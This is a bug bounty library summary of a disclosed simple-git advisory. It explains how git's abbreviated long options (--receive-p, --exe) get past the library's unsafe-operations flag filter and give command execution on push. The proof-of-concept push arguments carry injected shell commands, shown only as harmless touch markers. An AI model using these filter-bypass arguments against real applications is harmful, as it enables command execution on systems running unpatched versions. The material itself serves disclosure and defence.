# simple-git: unsafe-operations plugin bypass via git long-option abbreviation (--receive-p/--exe) -> command execution (residual of CVE-2026-28291)

simple-git's unsafe-operations plugin matched literal flag names, so git's long-option abbreviation --receive-p bypassed the block and executed injected commands on push.

- Payout: Research
- Severity: high
- Program: simple-git
- Found by: anir0y, bilguunbicktivism, cruzryan, the-vibe-dev
- Disclosed: 2026-10-05
- CVE: CVE-2026-102827
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-858h-whjf-mvg5
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-858h-whjf-mvg5
- Tags: area:oss domain:oss impact:rce kind:research platform:ghsa sev:high tech:nodejs technique:incomplete-fix technique:source-review vuln:command-injection

**Target:** npm library simple-git push argument handling / @simple-git/argv-parser detectVulnerableFlags
**Root cause:** detectVulnerableFlags matches parsed flag names against literal patterns /--(upload|receive)-pack/ and '--exec', but expandToken returns the literal token as flag.name without canonicalizing, so git's unambiguous prefix abbreviations (--receive-p, --exe) evade the regex yet git expands them to the dangerous options.
**Steps:**
1. Confirm gate: `push --receive-pack=touch...` -> BLOCKED; `push --receive-pa=touch...` and `push --receive-p=touch...` -> BYPASS (empty vulns); `--exec=` BLOCKED, `--exe=` BYPASS.
2. Control: `git.push(['../bare','HEAD:refs/heads/c','--receive-pack=touch /tmp/pwned_ctrl;'])` throws GitPluginError, no command runs.
3. Bypass: `git.push(['../bare','HEAD:refs/heads/e2e','--receive-p=touch /tmp/pwned_e2e;'])` raises no GitPluginError and creates /tmp/pwned_e2e.
4. Direct git confirms `git push ../bare --receive-p='touch X;' HEAD:refs/heads/m` and `--exe='touch Y;'` both execute on a local/path remote.
**How found:** Noticed the plugin matches literal flag spellings while git accepts unambiguous long-option prefixes; tested progressively shorter abbreviations (--receive-pa, --receive-p, --exe) against the gate and found the clone-side '--u' substring rule had no push-side equivalent.
**Exploitation:** App passes attacker-influenced options/args into simple-git push against a local/file remote (or attacker-influenced receive-pack target); the abbreviated --receive-p/--exe token slips past the plugin and git expands it to --receive-pack/--exec, running the injected shell command.
**Insight:** When a security filter matches option names as literal strings, enumerate git's prefix-abbreviation space (shortest unambiguous form) for each dangerous long option; the clone path's substring rule shows the intended fix pattern that push lacked.

## Proof of concept (copied exactly from the original report)

**simpleGit push bypass with --receive-p**

```
git.push(['../bare','HEAD:refs/heads/e2e','--receive-p=touch /tmp/pwned_e2e;']) -> NO GitPluginError; /tmp/pwned_e2e CREATED (git executed the injected command)
```

**Direct git push --receive-p/--exe command execution**

```
git push ../bare --receive-p='touch X;' HEAD:refs/heads/m` and `--exe='touch Y;'` both execute on a local/path remote.
```

**Gate vulnerabilityCheck bypass cases**

```
'push --receive-pack=touch...' -> BLOCKED; 'push --receive-pa=touch...' and 'push --receive-p=touch...' -> BYPASS (empty vulns); '--exec=' BLOCKED, '--exe=' BYPASS.
```

